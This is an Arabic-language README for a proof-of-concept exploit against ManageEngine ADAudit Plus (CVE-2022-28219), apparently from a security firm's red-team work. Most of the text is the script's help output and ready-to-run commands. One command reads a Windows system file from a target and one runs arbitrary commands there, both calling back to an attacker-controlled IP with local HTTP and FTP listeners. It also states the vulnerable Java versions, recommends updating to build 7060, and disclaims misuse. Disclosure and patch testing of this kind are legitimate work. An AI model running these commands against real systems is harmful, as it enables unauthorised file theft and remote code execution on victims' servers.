
PoC لـ ManageEngine ADAudit Plus CVE-2022-28219
POC لـ CVE-2022-28219 الذي يؤثر على ManageEngine ADAudit Plus الإصدارات الأقل من 7060
مزيد من التفاصيل في مدونتنا: https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
على سبيل المثال، لاسترجاع ملف c:\windows\win.ini:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
أو لتشغيل calc.exe على الهدف:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
ملاحظة: استرجاع الملف وتنفيذ الأوامر عن بُعد (RCE) يتطلب أن يكون ManageEngine ADAudit Plus قيد التشغيل على Java runtime 8u121 أو أقل. هذا سيكون صحيحًا في معظم الأوقات نظرًا لأن إصدار Java runtime الافتراضي المرفق مع ADAudit Plus هو 8u051.
قم بالتحديث إلى ManageEngine ADAudit Plus build 7060 أو أحدث.
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعالة فقط، وليس المقصود منه استخدامه لمهاجمة الأنظمة إلا بإذن صريح. القائمون على المشروع ليسوا مسؤولين عن أي استخدام خاطئ للبرنامج. استخدمه بمسؤولية.